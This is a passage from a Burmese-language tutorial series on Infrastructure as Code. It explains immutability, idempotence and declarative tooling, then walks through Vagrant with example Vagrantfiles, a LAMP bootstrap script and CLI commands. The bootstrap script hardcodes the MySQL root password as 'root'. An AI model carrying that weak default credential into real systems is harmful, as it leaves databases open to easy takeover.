တစ်ခုနဲ့ ထိန်းချုပ်နိုင်သော်လည်း သေးသေးမွှားမွှား ပြင်ဆင်ရမယ့်ဟာ မျိုးဆိုဘယ်သူမဆို change management process ကိုဖြတ်သန်းဖို့ အတော်လေးကို ဝန်လေးပါတယ်။ ဒီတော့ immutable approach ဟာဘယ်လိုမျိုးလည်းဆိုတာ နည်းနည်းသွားကြည့်လိုက်ရအောင်။ System တစ်ခု environment တစ်ခုကို provision လုပ်ပြီးသွားတိုင်းမှာ အဲ့ဒီဟာကို ad-hoc ပြင်ဆင်လို့ မရအောင်လို့ workflow ကို ပြောင်းလိုက်ရပါ့မယ်။ deployment တစ်ခုလုပ်တိုင်း version control ကိုထည့်သွင်း အသုံးပြုဖို့လိုပါပြီ။ Documentation နဲ့ manual deployment process နှစ်ခုလုံးဟာ အဲ့ဒီလိုမျိုး version control လုပ်ဖို့ရာအတွက် ဘယ်လိုမှ အဆင်မပြေနိုင်ပါဘူး။ overhead တွေများလွန်းလှပါတယ်။ ဒီအပိုင်းမှာ နည်းပညာဆိုင်ရာ အနုပညာဖြစ်တဲ့ git ဆိုတဲ့ version control ကိုသုံးပြီး deploy မလုပ်ခင်မှာ ကြိုတင် plan နိုင်တဲ့ အစွမ်းရဖို့လိုပါတယ်။ ပြီးရင် လိုသလောက် resource နဲ့ spec configuration တွေကို command တစ်ခုတည်းနဲ့ အလွယ်တကူဖန်တီး နိုင်ရပါ့မယ်။ နောက်တခါ scale up/down နဲ့ tear down ကိုလည်း အလွယ်တကူလုပ်နိုင်ဖို့လည်း လိုပါတယ်။ ဒီလိုဆိုရင်ဖြင့် environment တစ်ခုမှာ ပြောင်းချင်ပြင်ချင်ရင်တော့ လက်ရှိ version ကို tear down လုပ်ပြီးတော့ လိုအပ်တာကို code ထဲမှာပြင်ထည့်ပြီးတော့ နောက် version တစ်ခုအနေနဲ့ environment တစ်ခုလုံးကို deploy လုပ်ဖို့ရာအတွက် မခက်တော့ပါဘူး။ “လှလိုက်တာနော်…” လို့ပဲ စာရေးသူစိတ်ထဲမှာ တွေးတွေးပြီးတော့ ပြုံးရပါတော့တယ်။ နောက်ဆုံးတစ်ခုက idempotence ပါ။ ဒီတစ်ခုကတော့ programming မှာသုံးတဲ့ အသုံးအနှုံးတစ်ခုဖြစ်ပါတယ်။ idempotence ဖြစ်တယ်ဆိုတဲ့ အဓိပ္ပာယ်က ဘယ်နှခေါက် program တစ်ခု၊ function တစ်ခုကို run တိုင်းမပြောင်းလဲတဲ့ ရလဒ်တစ်ခုကိုရတဲ့ အခြေအနေတရပ်ကို ဆိုလိုခြင်းပါ။ IaC မှာတော့ idempotence ဖြစ်တယ်ဆိုတာ deploy လုပ်ထားတဲ့ environment setup တစ်ခုရဲ့ state ဟာဘယ်နှစ်ခါ deploy ပြန်လုပ်လုပ် consistent ဖြစ်ပြီး တစ်ခုတည်းသော state ကိုသာ ထိန်းသိမ်းထားနိုင်ရပါ့မယ်။ ဒါကြောင့် IaC မှာကိုယ်ဘာလုပ်ချင်သလဲပေါ်မှာမူတည်ပြီးတော့ desired state တစ်ခုကို ပေးရပါတယ်။ Terraform မှာ state ဟာတော်တော်လေးကို အရေးပါတဲ့ အရာတစ်ခုပါ။ ဒီလိုဆိုရင် configuration drift မဖြစ်အောင်ရယ်၊ immutable infrastructure တစ်ခုက code နဲ့ git လိုမျိုး version control ပေါင်းစပ်ပြီးတော့သုံးလို့ရအောင်ရယ်၊ နောက်ဆုံး idempotence ဆိုတဲ့ အနေအထားတစ်ခုဖြစ်ဖို့ရယ် ကိုအကြောင်းပြုပြီးတော့ IaC ဆိုတာဖြစ်လာပါတော့တယ်။ DevOps ဘက်မှာ စည်းကမ်းရှိတဲ့ engineer တွေ ထိန်းသိမ်းတဲ့ infrastructure ဆိုရင်တော့ code ထဲမှာ ရှင်းလင်းတဲ့ documentation ကိုပါထည့်သွင်း နိုင်ပါတယ်။ ဒီ့အတွက် documentation system သီးသန့်ရှိစရာလည်း မလိုတော့ပြန်ပါဘူး။ Software Development Life Cycle (SDLC) ကိုပါနားလည်ထားတဲ့ DevOps ဆိုရင်တော့ code တွေကို ဘယ်လိုမျိုး ထိန်းသိမ်းရမလဲ ဆိုတာအပြင် လက်တွေ့မှာ CI/CD pipeline တစ်ခုကို တည်ဆောက်ယူပြီးတော့ code testing နဲ့ review process ကိုပါ automation လုပ်နိုင်ပြန်တယ်။ ပြောမယ်ဆိုရင်တော့ sky is the limit ပါ။ ကိုယ်ချဲ့ကား တွေးခေါ်နိုင်သလောက် ကိုယ်ရဲ့ workflow တွေကိုထပ်တိုး ဖြည့်လို့ ရနိုင်ပါတယ်။

ဟုတ်ပြီ… IaC ကိုဘာကြောင့် စခဲ့တယ်၊ ဘယ်လိုသဘောသဘာဝ ရှိတယ်ဆိုတာကိုသိပြီးတဲ့နောက်မှာ ဘယ်လိုသုံးနိုင်သလဲ၊ code ကိုရေးတဲ့အခါမှာ ဘယ်ပုံဘယ်နည်းရေးနိုင်သလဲဆိုတာကို အနည်းသွားကြည့်လိုက်အောင်။ အကြမ်းအားဖြင့် ရေးပုံရေးနည်း ပေါ်မှာမူတည်ပြီးတော့ code တွေဖွဲ့စည်းပုံ နှစ်မျိုးရှိပါတယ်။ တစ်ခုက imperative ဆိုတဲ့ နည်းဖြစ်ပြီးတော့၊ နောက်တစ်ခုက declarative ဆိုတဲ့ နည်းဆိုပြီး ရှိပါတယ်။ ပထမတစ်ခုဖြစ်တဲ့ imperative မှာတော့ ကိုယ်သုံး မယ့် CLI မှာမူတည်ပြီးတော့ ဘာကဘယ်လိုမျိုး လုပ်ချင်သလဲဆိုတာကို အသေးစိတ် သေသေချာချာ ရေးချရပါတယ်။ ဒီတစ်ခုဟာ ကိုယ်တည်ဆောက်မယ့် environment သိပ်မကြီးဘူး၊ သိပ်ပြီး dynamic မဖြစ်ဘူး၊ သို့သော် ခဏခဏပြန်သုံးလို့ ရနိုင်တဲ့ setup တွေအတွက် အဆင်ပြေပါ။ နောက်ပိုင်း environment ကလည်း ကြီးလာတယ်၊ workflow တွေဟာလည်း ရှုပ်ထွေးတဲ့ ဟာမျိုးဖြစ်လာရင်တော့ scale-able (scale up/scale down/tear down)မဖြစ်တော့ပြန်ပါဘူး။ ဒီ့အတွက် declarative ဆိုတဲ့ code တည်ဆောက်ပုံကို သုံးကြရပါတယ်။ Desired state တွေကို တစ်ခုချင်းစီသိတယ်ဆိုရင် ကိုဘာလုပ်ချင်သလဲဆိုတာကို abstraction layer တစ်ခုကို ပြောလိုက်တာနဲ့ support ဖြစ်တဲ့ library/module ရှိရင်ရှိသလောက် idempotence concept ကိုအသုံးချပြီးတော့ ကိုယ့်ရဲ့ code တွေကို infrastructure အတွက်တည်ဆောက် နိုင်ပါပြီ။ ဥပမာပြောရရင် imperative ဟာကိုယ်ပိုင်ကား ဝယ်စီးသလိုမျိုးပဲ ခရီးတစ်ခုကိုသွားချင်ရင် ကိုယ်တိုင်လမ်းရှာ၊ ကိုယ်တိုင်မောင်း၊ ကားပျက်လို့ ပြင်ရရင်လည်း ကိုယ့်စရိတ်နဲ့ ကိုယ်ပြင်ရတဲ့ သဘောပါ။ ကားထဲမှာပါလာတဲ့ audio နဲ့ sound system ကိုမကြိုက်လို့ ရှိရင် ကိုယ်ကြိုက်တဲ့ဟာနဲ့ ကောက်ပြီးတော့ ပြောင်းထည့်နိုင်တယ်။ ဘယ်သူ့ကိုမှ တိုင်ပင်စရာမလိုပါဘူး။ Declarative ဆိုတာကတော့ Grab ကိုမှာပြီးတော့ ခရီးတစ်ခုကို A ကနေ B ကိုသွားမယ်လို့ ပြောလိုက်တာနဲ့ တက်ပြီးတော့ စီးရုံပါပဲ။ ကိုယ်တိုင်မောင်းစရာ မလိုဘူး။ ဘယ်ကနေ ဘယ်လမ်းရွေးပြီး သွားရမယ်ဆိုတာလည်း ပူစရာမရှိဘူး။ အကုန်လုံးအဆင်သင့် ဖြစ်လို့ ပိုပြီးတော့ အဆင်ပြေတဲ့ သဘောရှိပါတယ်။ လက်ရှိ IaC မှာသုံးတဲ့ tool-set တွေ တော်တော်များများ ကတော့ declarative တွေပါ။ နောက်အပိုင်းမှာတော့ IaC tool-chain တွေကို လက်တွေ့မှာဘယ်လိုမျိုး အသုံးချနိုင်သလဲဆိုတာ use case တွေနဲ့ ဆက်ရှင်းလိုပါတယ်။ စိတ်ဝင်စားဖို့ကောင်းပါ။ စိတ်လှုပ်ရှားဖို့ကောင်းပါတယ်။ ဒီ အပိုင်းကိုတော့ ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါ့မယ်။


# အနားမသပ်နိုင် သေးတဲ့ Infrastructure as Code (IaC) – အပိုင်း(၂)

### Vagrant မိတ်ဆက်

ပထမဆုံး မိတ်ဆက်ပေးချင်တဲ့ lightweight IaC tool ကတော့ Vagrant ပဲဖြစ်ပါတယ်။ သူ့ကို HashiCorp ကနေပြီးတော့ develop လုပ်တာဖြစ်ပြီးတော့၊ open-source လုပ်ပေးထားတဲ့ tool တစ်ခုပါ။ Virtualisation platform တော်တော်များ နဲ့ cloud platform အချို့ မှာ အသုံးပြုလို့ရတဲ့အတွက် developer တွေ၊ DevOps တွေအတွက် အတော်လေးကိုအသုံးတည့်တဲ့ tool တစ်ခုလည်းဖြစ်ပါတယ်။ အဓိက back-end core language ကိုတော့ Ruby နဲ့ ရေးထားတာဖြစ်ပြီး၊ ခုနှစ်အားဖြင့် ၂၀၁၀ ဇန်နဝါရီလတွင်းမှာ Mitchell Hashimoto ကကိုယ်တိုင်အသုံးပြုဖို့ရာအတွက် စတင်လိုက်တဲ့ project လေးတစ်ခုပါ။ ၂၀၁၀ ခုနှစ် မတ်လလောက်ကျမှ ပထမဆုံး version ကိုစတင်ပြီး release လုပ်ပါတယ်။ ပထမဆုံး stable release ဖြစ်တဲ့ Vagrant 1.0 ကိုတော့ ၂၀၁၂ မတ်လမှပဲ release လုပ်နိုင်ခဲ့ပါတယ်။ Vagrant ဟာအစပိုင်းကတည်းက Oracle ရဲ့ Virtualbox အတွက် အတော်လေးအဆင်ပြေအောင်လို့ လုပ်ထားရာကနေပြီး နောက်ပိုင်းမှာ တဖြေးဖြေးနဲ့ အခြားသော virtualisation platform တွေဖြစ်တဲ့ VMware နဲ့ KVM တွေကိုပါ support လုပ်လာတယ်။ ဒီလိုနဲ့ နောက်ပိုင်းမှာ AWS EC2 instance တွေနဲ့ Docker container တွေကိုပါ ထပ်တိုး support လုပ်ပြန်လာပါတယ်။ စာရေးသူရဲ့ အတွေ့အကြုံအရတော့ အခုအချိန်ထိ Vagrant ကိုသုံးပြီးတော့ portable dev/test environment တစ်ခုတည်ဆောက်ဖို့ Virtualbox ဟာ အကောင်းဆုံးသော platform တစ်ခုပါ။ အခြားသော platform တွေမှာလည်း အလုပ်လုပ်သော်လည်း ထပ်တိုးပေါင်းပြီးတော့ install လုပ်ရတဲ့ component လေးတွေရှိတာကြောင့် နည်းနည်းလေ အလုပ်ပိုပါလိမ့်မယ်။

Vagrant မှာ အဓိက အပိုင်း နှစ်ပိုင်းကို နားလည်ထားရပါ့မယ်။ တစ်ခုက provider လို့ခေါ်တဲ့ သူနဲ့တွဲပြီးတော့ အသုံးပြုနိုင်တဲ့ virtualisation platform တွေနဲ့ ရွေးချယ်နိုင်စရာ သူ့ရဲ့ option အချို့မှာ အနည်းအကျဉ်းစီ ကွာခြားနိုင်ပါတယ်။ Provider ဆိုတာတွေကတော့ အထက်မှာဆိုခဲ့တဲ့ Virtualbox, Hyper-V နဲ့ Docker တို့လို native support လုပ်တဲ့ platform တွေပဲဖြစ်ပြီး၊ VMware နဲ့ AWS လိုမျိုး platform တွေအတွက်တော့ plugin တွေထပ်ပေါင်းထည့်ရပါလိမ့်မယ်။ နောက်ဒုတိယ တစ်ခုကတော့ provisioner လို့ခေါ်တဲ့အပိုင်းတစ်ခုပါ။ ဒီ provisioner ဆိုတာကတော့ ကိုယ် provider နဲ့ ဖန်တီးထားတဲ့ dev environment တစ်ခုရဲ့ VM/Container တစ်ခုစီမှာထပ်ပေါင်းထည့်ချင်တဲ့ system တစ်ခုချင်းစီရဲ့ customised configuration တွေကိုပါ automate လုပ်လို့ရအောင်ပါ။ အရှင်းဆုံးပြောရရင်တော့ Vagrant ဟာ ကိုယ်သုံးမယ် virtualisation platform ရဲ့ wrapper တစ်ခုအနေနဲ့ ခြုံအုပ်ပေးထားပါတယ်။ Imperative အမျိုးအစားထဲမှာပါတာဖြစ်တဲ့ အတွက် အသေးစိတ်ရေးသားပြီးတော့ အောက်ခြေသိမ်းလိုက်ပြီးတော့ ရေးချင်ကရေးနိုင်ပါတယ်။ ကိုယ် interface လုပ်မယ့် provider ကိုပြောပြီးတော့ လိုချင်တဲ့ resource ကို ပြောပေးလိုက်ရုံပါပဲ။ Vagrantfile ဆိုတဲ့တစ်ခုကို တည်ဆောက်ပေးပြီး vagrant CLI commands တွေကို အသုံးပြီးတော့ automate/orchestrate လုပ်နိုင်ပါပြီ။ Vagrantfile ကို Ruby syntax နဲ့ရေးထားတာဖြစ်လို့ programming တစ်ခုကိုအသုံးပြုသကဲ့သို့ သုံးနိုင်သလို၊ declarative ပုံစံလိုမျိုး YAML ကိုအသုံးပြီးတော့လည်းရေးသားနိုင်ပါတယ်။

### Vagrant ကို install လုပ်ပုံ

Vagrant ကို install လုပ်ဖို့အတွက်တော့ ဒီလင့်မှာ “<https://www.vagrantup.com/downloads.html”> သွားပြီး ကိုယ်အသုံးပြုတဲ့ OS ပေါ်မှာမူတည်ပြီးတော့ download လုပ်ကာ၊ install လုပ်နိုင်ပါတယ်။ စာရေးသူမှာတော့ Ubuntu 20.04 LTS ကိုသုံးတဲ့အတွက် “sudo apt install vagrant” ဆိုတာနဲ့ Vagrant ကို စတင်အသုံးပြုဖို့ အတွက် အဆင်သင့်ဖြစ်ပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-df9477fd95c18e70f0f777ee73200b62cc834891%2Fvagrant_download.png?alt=media" alt=""><figcaption></figcaption></figure>

### Vagrant လက်တွေ့အသုံးဝင်ပုံ

Vagrant ကိုများသောအားဖြင့် စာရေးသူ local machine ရဲ့ Virtualbox မှာ lab environment တစ်ခုကို setup လုပ်ဖို့အတွက်အသုံးပြုပါတယ်။ ဆိုပါတော့… Nginx ရဲ့ load balancer နဲ့ web server တွေကိုစမ်းသပ်ချင်တာပဲဖြစ်ဖြစ်၊ BIND ရဲ့ DNS primary နဲ့ secondary server ဟာမျိုးစမ်းချင်တာပဲဖြစ်ဖြစ်၊ ဒီထက်ပိုပြီးတော့ DevOpsie ဆန်ချင်ရင်တော့ K8s cluster တစ်ခုကိုတည်ဆောက်ပြီး စမ်းချင်တာပဲဖြစ်ဖြစ်၊ ကိုယ်ကြိုက်တဲ့ environment ကို Vagrantfile ထဲမှာသိမ်းထားပြီးတော့ git repo တစ်ခုဖွဲ့ကာ GitHub မှာပဲဖြစ်ဖြစ်၊ GitLab မှာပဲဖြစ်ဖြစ် တင်ထားလိုက်ရုံပါပဲ။ ကိုယ်တစ်ခုခုပြောင်းချင်ပြုချင်တယ်ဆိုရင် လိုအပ်တဲ့အပိုင်းကို ပြင်ဆင်ပြီးတော့ code ကို git နဲ့ update လုပ်လိုက်ရုံပါ။ နောင်တခါ အရင် version မှာကိုယ် ဘာတွေပြောင်းလာခဲ့သလဲဆိုတာကို git ကသိမ်းပြီးတော့ version control လုပ်ပြီးသားဖြစ်သွားပါရော။ ဒီအတွက် ကိုယ်စမ်းမယ့် dev environment တစ်ခုကို VM တစ်လုံးခြင်းစီ တည်ဆောက်ပြီးတော့ configure လုပ်ယူမည့်အစား Infrastructure as Code (IaC) နည်းနာကို သုံးပြီးတော့ deploy လုပ်လို့ရပါတယ်။

အောက်မှာ… Vagrant ရဲ့ အရိုးရှင်းဆုံးပုံစံနဲ့ web server တစ်ခုကို virtualbox မှာ deploy လုပ်တဲ့ပုံစံပါ။

```
VagrantfileVagrant.configure("2") do |config|
   config.vm.box = "ubuntu/trusty64"
   config.vm.synced_folder ".", "/var/www/html"
   config.vm.provider "virtualbox" do |vb|
     vb.gui = false
     vb.memory = 1024
     vb.cpus = 1
   end
 
   config.vm.provision "shell", inline: <<-SHELL
      apt-get update
      apt-get install -y apache2
   SHELL
end
```

ပထမဆုံး line က Vagrant ကိုအသုံးပြုပြီး configure လုပ်ချင်တဲ့ config ဆိုတဲ့ code block တစ်ခုကိုတည်ဆောက်လိုက်ပြီးတော့ ကိုယ်လိုချင်တဲ့ parameter တွေကို သတ်မှတ်ပေးတဲ့ပုံစံပါ။ config.vm.box = “ubuntu/trusty64” ဆိုတာက Vagrant Cloud ပေါ်က ubuntu ရဲ့ account အောက်မှာ trusty64 ဆိုတဲ့ vagrant box ကို download ဆွဲပြီး သုံးမယ်လို့ဆိုလိုတာပါ။ Docker Hub လိုပဲ Vagrant မှာလည်း Vagrant Cloud ဆိုပြီး vagrant box တွေကို စုစည်းပေးထားတဲ့ နေရာပါ။ URL အနေနဲ့တော့ ဒီနေရာမှာ “<https://app.vagrantup.com/ubuntu/boxes/trusty64”> သွားကြည့်လို့ရပါတယ်။ ကိုယ်တိုင်လည်း local machine ပေါ်မှာ vagrant box တွေကိုစိတ်ကြိုက်တည်ဆောက်ပြီးတော့ ထည့်သွင်းအသုံးပြုလို့ရပါတယ်။ နောက် line ကတော့… config.vm.synced\_folder “.”, “/var/www/html” ဖြစ်ပြီး၊ ဒီတခါဟာ virtualbox ရဲ့ shared folder feature ကိုအသုံးပြုပြီး file တွေ၊ folder တွေကို host နဲ့ VM ကြားမှာ sync လုပ်မယ်လို့ ဆိုတာပဲဖြစ်ပါတယ်။ ဒီလိုလုပ်ခြင်းအားဖြင့် VMရဲ့ “/var/www/html”တွင်းမှာရှိတဲ့ file ကို edit လုပ်ချင်ရင် ကိုယ်လက်ရှိ Vagrantfile ကို run နေတဲ့ directory ထဲနေလှမ်းပြီးတော့ပြင်ဆင်၊ ထည့်ပေါင်း၊ နုတ်ယူနိုင်အောင်လို့ပါ။ web server လိုမျိုး server တွေရဲ့ အဲ့ဒီလို directory တွေဟာ အသုံးအပြုဆုံးသော နေရာဖြစ်တဲ့အတွက် အခုလိုလုပ်ကြတာပဲဖြစ်ပါတယ်။

နောက်တခုက config.vm.provider “virtualbox” do |vb| ဖြစ်ပါတယ်။ ဒီ line မှာတော့ provider ကို virtualbox ပါလို့ဆိုပြီး vb ဆိုတဲ့ code block တစ်ခုကို ဖန်တီးလိုက်ခြင်းဖြစ်ပါတယ်။ အဲ့ဒီအောက်မှာ… VM မှာကိုယ်လိုချင်တဲ့ spec တွေနဲ့ option တွေကို ရွေးချယ်သတ်မှတ်ပေးနိုင်ပါတယ်။ vb.gui = false ဆိုတာက… VM boot တက်တဲ့အခါကြရင် headless ပုံစံမျိုး boot တက်စေချင်ပြီး၊ vb.memory = 1024 ဆိုတာက… RAM ကို 1GB ပေးမယ်ပြီးတော့၊ vb.cpus = 1 ဆိိုတာက… virtual cpu တစ်ခုပေးမယ်လို့ ဆိုချင်တာပါ။ ဒီလိုဆိုရင်… သက်ဆိုင်ရာ VM ရဲ့ provider နဲ့ ဆိုင်တဲ့ အပိုင်းမှာ ရပါပြီ။

နောက်တပိုင်းမှာက… config.vm.provision “shell”, inline: <<-SHELL ဆိုထားပါတယ်။ ဒါလည်းရှင်းပါတယ်… provision ကို Linux ရဲ့ CLI shell ကိုသုံးမယ်… inline မှာကိုယ် run ချင်တဲ့ commands ကိုထည့်ပေးလိုက်ရုံပါ။ မြင်တဲ့အတိုင်း Apache web server ကို native CLI သုံးပြီးတော့ update လုပ်သွားတာပဲဖြစ်ပါတယ်။ ကိုယ်က shell ကိုမသုံးချင်ဘူး Ansible လိုမျိုး tool set ကို provision အတွက်သုံးမယ်ဆိုလည်း ရပါတယ်။ ဒီမှာတော့ ရှင်းအောင်လို့ shell ကိုပဲသုံးပြထားပါတယ်။ Shell မှာမှ ဒီထက်ပိုပြီးတော့ ရှုပ်ထွေးတဲ့ commands တွေကို provision ထဲမှာသုံးချင်ရင် အောက်မှာပြထားတဲ့အတိုင်း လုပ်လို့ရပါတယ်။ bootstrap.sh ဆိုတဲ့ bash script တစ်ခုလိုပါလိမ့်မယ်။

```
VagrantfileVagrant.configure("2") do |config|
   config.vm.box = "ubuntu/trusty64"
   config.vm.synced_folder ".", "/var/www/html"
   config.vm.provider "virtualbox" do |vb|
     vb.gui = false
     vb.memory = 1024
     vb.cpus = 1
   end
   
   config.vm.provision "shell", path: "bootstrap.sh"
end
```

{% code title=" bootstrap.sh" %}

```
apt-get update
apt-get upgrade

apt-get install -y git
apt-get install -y apache2
a2enmod rewrite

apt-add-repository ppa:ondrej/php
apt-get update
apt-get install -y php7.2
apt-get install -y libapache2-mod-php7.2
service apache2 restart

apt-get install -y php7.2-common
apt-get install -y php7.2-mcrypt
apt-get install -y php7.2-zip

debconf-set-selections <<< 'mysql-server mysql-server/root_password password root'
debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password root'

apt-get install -y mysql-server
apt-get install -y php7.2-mysql
sudo service apache2 restart
```

{% endcode %}

ဟုတ်ပြီ… အခုအချိန်ထိတော့ VM တစ်ခုကို provider နဲ့ provisioner ကိုအသုံးပြုပြီးတော့ IaC ပုံစံမျိုး တည်ဆောက်ပြသွားတာအဆင်ပြေပါတယ်။ Git repo တွေဘာတွေအသုံးပြုပြီး version control ဆက်လုပ်လို့ရပါပြီ။ သို့သော်… ကိုယ်က Nginx အတွက်ဖြစ်ဖြစ်၊ K8s အတွက်ဖြစ်ဖြစ် cluster တစ်ခုတည်ဆောက်ဖို့အတွက်ဆိုရင်တော့ တစ်လုံးထက်ပိုတဲ့ VM တွေကိုလိုပါပြီ။ ဆိုပါတော့… VM အလုံးရေ ၆ လုံးကို တစ်ပြိုင်နက်တည်း deploy လုပ်ချင်တယ်၊ ၃ လုံးကို Ubuntu လိုချင်ပြီး၊ အခြားသုံးလုံးကိုတော့ CentOS လိုချင်တယ်ဆိုပါတော့ဗျာ။ အောက်မှာတော့… အဲ့ဒီလိုမျိုး mixed cluster လုပ်တဲ့ပုံစံကို ပြပေးထားပါတယ်။

```
VagrantfileUBOX_IMAGE = "bento/ubuntu-20.04"
UBOX_COUNT = 3
CBOX_IMAGE = "bento/centos-8.2"
CBOX_COUNT = 3

 Vagrant.configure("2") do |config|
   (1..UBOX_COUNT).each do |x|     
     config.vm.define "ubuntu#{x}" do |subconfig|       
       subconfig.vm.box = UBOX_IMAGE       
       subconfig.vm.hostname = "ubuntu#{x}"       
       subconfig.vm.network :private_network, ip: "10.0.0.#{x + 100}"     
   end
 end 

 (1..CBOX_COUNT).each do |y|     
     config.vm.define "centos#{y}" do |subconfig|       
       subconfig.vm.box = CBOX_IMAGE       
       subconfig.vm.hostname = "centos#{y}"       
       subconfig.vm.network :private_network, ip: "10.0.0.#{y + 200}"     
     end
  end 
 
  config.vm.provider "virtualbox" do |vb|
     vb.gui = false
     vb.memory = 1024
     vb.cpus = 1
  end
 
  config.vm.provision "file", source: "./me.pub", destination: "~/.ssh/me.pub"

  config.vm.provision "shell", inline: <<-SHELL     cat /home/vagrant/.ssh/me.pub >> /home/vagrant/.ssh/authorized_keys
     SHELL
end
```

ဒီတခါတော့… variable တွေကိုအသုံးပြီးတော့ bento ရဲ့ vagrant box တွေကို Vagrant Cloud ပေါ်ကနေပြီးတော့ download ဆွဲပြီး သုံးမယ်လို့ အစမှာ ပြောလိုက်ပါတယ်။ ပြီးရင်… VM name၊ hostname နဲ့ IP address အတွက် loop ကိုအသုံးပြီးတော့ dynamic ဖြစ်အောင်လုပ်လိုက်ပါတယ်။ provider အပိုင်းမှာတော့ အထက်ကပုံစံနဲ့ အကုန်တူညီပြီးတော့၊ provisioner အပိုင်းမှာ စာရေးသူရဲ့ ssh public key ကို VM တိုင်းစီမှာ တင်လိုက်ပြီးတာနဲ့ ssh ရဲ့ authorized\_keys file မှာလည်း entry တစ်ခုသွားထည့်လိုက်တာကိုပြထားပါတယ်။ ဒီလိုလုပ်ခြင်းအားဖြင့် VM တစ်ခုချင်းစီကို password မလိုပဲနဲ့ keybase authentication လုပ်လို့ တခါတည်းရသွားပါတယ်။

Vagrantfile မှာပါတဲ့အရာတွေကို ရှင်းပြသွားတာတော့ ပြည့်စုံသလောက်ရှိပြီ။ လိုနေတာနောက်ဆုံးတစ်ခုက… အဲ့ဒီ Vagrantfile တွေကို ဘယ်လိုမျိုး run ရမှာလဲဆိုတာပါ။ CLI commands တွေက docker ရဲ့ commands တွေနဲ့ ခပ်ဆင်ဆင်ပါ။ အများကြီးလည်းမရှိပါဘူး။ အထက်မှာပြောတဲ့ Vagrantfile ရှိတဲ့ directory ထဲကိုသွားပြီး “vagrant up” လို့ရိုက်ထည့်လိုက်တာနဲ့ ကိုယ့် script မှာဘာ error မှလည်း မရှိဘူးဆိုရင်၊ လိုအပ်တဲ့ vagrant box တွေကို Vagrant Cloud ပေါ်ကနေဆွဲပြီးတော့ dev environment တစ်ခုကိုစတင်ပြီး deploy လုပ်ပါတယ်။ ပြီးတာနဲ့ “vagrant status” ဆိုပြီးတော့ လက်ရှိ run နေတဲ့ vagrant box တွေရဲ့ name နဲ့ လက်ရှိ status ကိုပြပါလိမ့်မယ်။ ကိုယ် ssh နဲ့ဝင်ချင်တဲ့ VM ကို “vagrant ssh \[VM\_NAME]” ဆိုပြီးတိုက်ရိုက်ဝင်နိုင်ပါတယ်။ ကိုယ်စမ်းသပ်လို့ ပြီးရင် VM တွေကို shutdown ချချင်တာပဲဖြစ်ဖြစ်၊ suspend လုပ်ချင်တာပဲဖြစ်ဖြစ် “vagrant halt” နဲ့ “vagrant suspend” ကိုသုံးလို့ ရပါတယ်။ ဒီလိုမှမဟုတ်ဘူး… စမ်းထားသမျှ အားလုံးကို disk space သက်သာအောင် အားလုံးဖျက်စီးလိုက်ချင်ရင်တော့ “vagrant destroy -f” ဆိုပြီးတော့လုပ်လို့ ရသလို၊ “vagrant destroy \[VM\_NAME]” ဆိုပြီး တစ်လုံးတည်းသော VM ကို ဖျက်စီးပစ်ချင်လည်း ရပါတယ်။

```
Common commands:
      address         outputs the IP address of a guest.
      box             manages boxes: installation, removal, etc.
      cloud           manages everything related to Vagrant Cloud
      destroy         stops and deletes all traces of the vagrant machine
      global-status   outputs status Vagrant environments for this user
      halt            stops the vagrant machine
      help            shows the help for a subcommand
      init            initializes a new Vagrant environment by creating a Vagrantfile
      login           
      package         packages a running vagrant environment into a box
      plugin          manages plugins: install, uninstall, update, etc.
      port            displays information about guest port mappings
      powershell      connects to machine via powershell remoting
      provision       provisions the vagrant machine
      push            deploys code in this environment to a configured destination
      rdp             connects to machine via RDP
      reload          restarts vagrant machine, loads new Vagrantfile configuration
      resume          resume a suspended vagrant machine
      snapshot        manages snapshots: saving, restoring, etc.
      snapshot-info   Snapshot additional information.
      ssh             connects to machine via SSH
      ssh-config      outputs OpenSSH valid configuration to connect to the machine
      status          outputs status of the vagrant machine
      suspend         suspends the machine
      up              starts and provisions the vagrant environment
      upload          upload to machine via communicator
      validate        validates the Vagrantfile
      version         prints current and latest Vagrant version
      winrm           executes commands on a machine via WinRM
      winrm-config    outputs WinRM configuration to connect to the machine
 
For help on any individual command run vagrant COMMAND -h

Additional subcommands are available, but are either more advanced
or not commonly used. To see all subcommands, run the command
vagrant list-commands.
```

အခုဆိုရင်… ကိုယ်တည်ဆောက်ထားတဲ့ dev environment၊ တနည်းအားဖြင့် infrastructure တစ်ခုကို code တစ်ခုအသွင်နဲ့ သိမ်းဆည်းလိုက်ခြင်းဖြင့်၊ နောက် DevOps တစ်ယောက်က ၄င်း environment ကိုတစ်ပုံစံတည်း လိုချင်ရင် ကိုယ့်ရဲ့ code ကို git repo ကနေ share လိုက်ရုံပါ။ ဘာမှအများကြီး လွှဲမှားစရာမရှိတော့ပါဘူး။ ဆိုင်ရာ Vagrantfile တွေနဲ့ bootstrap.sh file တွေကို GitHub ရဲ့ ဒီ [link](https://github.com/tylalin/ITmatic101/tree/master/infra_as_code/vagrant_files) ကလေး မှာတင်ပေးထားပါတယ်။

ဒီလောက်ဆိုရင်… Vagrant နဲ့ ပတ်သတ်တဲ့ IaC ဆိုင်ရာ အသုံးဝင်ပုံ အသုံးပြုပုံ အတွက်လုံလောက်ပြီလို့ ထင်ပါတယ်။ နောက် post မှာ Terraform လို့ခေါ်တဲ့ IaC မှာသုံးတဲ့ tool set တစ်ခုအကြောင်းဆက်သွားချင်ပါတယ်။ ဒီ post ကိုတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။


# အနားမသပ်နိုင် သေးတဲ့ Infrastructure as Code (IaC) - အပိုင်း(၃)

